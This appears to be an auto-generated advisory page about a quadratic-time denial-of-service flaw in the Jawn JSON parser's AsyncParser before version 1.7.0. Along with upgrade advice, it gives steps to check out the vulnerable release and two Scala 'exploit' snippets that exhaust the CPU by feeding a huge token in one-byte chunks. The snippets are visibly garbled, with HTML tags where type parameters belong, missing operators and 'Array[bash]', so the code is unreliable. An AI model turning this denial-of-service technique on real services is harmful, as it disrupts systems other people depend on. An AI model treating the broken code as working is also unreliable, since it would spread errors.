Listen to this Post
Jawn is an open source JSON parser. Prior to 1.7.0, Jawn’s AsyncParser can perform quadratic work when a single JSON token is delivered across many small chunks because each absorb call rescans the incomplete token from the start. A remote attacker who controls untrusted JSON input and its chunk sizes can exhaust CPU resources and cause denial of service in applications using AsyncParser. This issue is fixed in version 1.7.0.
DailyCVE Form:
Platform: Jawn
Version: < 1.7.0
Vulnerability: Quadratic parsing DoS
Severity: High
date: Jun 24, 2026
Prediction: Sep 23, 2026
What Undercode Say:
Clone the vulnerable version git clone https://github.com/typelevel/jawn.git cd jawn git checkout v1.6.0 Compile the project sbt compile Run a test that sends a single JSON token in many small chunks (conceptual; actual reproduction requires a Scala test harness)
// Conceptual exploit snippet (educational only)
import org.typelevel.jawn.AsyncParser
import java.nio.ByteBuffer
val parser = AsyncParser<a href="">String</a>
val token = "\"" + "A" 1000000 + "\""
val chunkSize = 1
val chunks = token.grouped(chunkSize).map(_.getBytes)
chunks.foreach { chunk =>
parser.absorb(ByteBuffer.wrap(chunk))
}
// Each absorb rescans the incomplete token from the start,
// causing O(n^2) work.
Exploit: (Educational Purposes!)
import org.typelevel.jawn.AsyncParser
import java.nio.ByteBuffer
object DoSExploit {
def main(args: Array[bash]): Unit = {
val parser = AsyncParser<a href="">String</a>
val hugeToken = "\"" + ("A" 500000) + "\""
val oneByteChunks = hugeToken.getBytes.grouped(1)
while (oneByteChunks.hasNext) {
val chunk = oneByteChunks.next()
parser.absorb(ByteBuffer.wrap(chunk))
}
}
}
Protection: from this CVE
Upgrade to jawn-parser 1.7.0 or later. If immediate upgrade is not possible, avoid feeding untrusted JSON in extremely small chunk sizes to AsyncParser, or implement application-level chunk aggregation before calling absorb.
Impact:
Denial of service via CPU exhaustion when parsing untrusted JSON. The quadratic time complexity allows an attacker to cause severe performance degradation or complete resource exhaustion by controlling both the JSON content and the chunking strategy.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
